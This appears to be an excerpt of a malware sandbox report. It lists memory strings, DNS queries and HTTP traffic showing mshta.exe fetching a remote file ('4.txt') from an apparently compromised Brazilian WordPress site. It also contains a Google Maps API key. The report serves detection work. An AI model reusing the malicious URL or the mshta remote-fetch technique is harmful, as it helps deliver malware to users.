Source: mshta.exe, 00000008.00000002.1173070393.0000000000240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000003.1071250377.00000000061BC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1121146887.00000000061B2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1173070393.0000000000240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: cmd.exe, 00000002.00000002.1173152064.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1173694302.0000000000376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt~
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204170
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417a
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.0h
Source: mshta.exe, 00000008.00000003.963845089.0000000003274000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.954668679.0000000003273000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.954651940.0000000003272000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.954630384.0000000003270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963782731.0000000003273000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963718785.0000000003272000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963687721.0000000003270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.954684827.0000000003274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20cssa~Ojp
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io
Source: font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100yFramework/style.css.9.20ss
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400
Source: mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400.2.0
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txt
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txt
Source: mshta.exe, 00000008.00000003.980369440.000000000041A000.00000004.00000020.00020000.00000000.sdmp, css[1].css0.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000002.1173484810.00000000002C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000003.980396837.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.981119362.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, css[5].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott
Source: css[4].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot599X7
Source: mshta.exe, 00000008.00000003.980377439.0000000000424000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);3.0
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 00000008.00000003.949212258.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.980383677.000000000042E000.00000004.00000020.00020000.00000000.sdmp, css[1].css.8.dr, css[3].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css0.8.dr	String found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.12K~Ojp
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2AHOjp
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)$
Source: animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: font-awesome[1].css.8.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/byscuits
Source: font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: bootstrap.min[1].js.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000003.949067983.00000000003B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.broofa.com
Source: jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.jplayer.org
Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://www.mathias-bank.de)
Source: camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 00000008.00000003.1121027423.00000000061F6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1120987050.00000000061F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/(
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: scripts[1].js.8.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000003.949067983.00000000003B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000003.949067983.00000000003B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section00.2.0
Source: mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_sectioner=1.24
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/atom/
Source: owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000003.1100452802.00000000049A9000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.dr	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.8.dr	String found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.dr	String found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000003.964387127.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/NatKL$:
Source: mshta.exe, 00000008.00000003.964380556.0000000002EF8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/:id
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://youtu.be/:id

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].css

Jump to behavior

Source: unknown

DNS traffic detected: queries for: facextrade.com.br

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
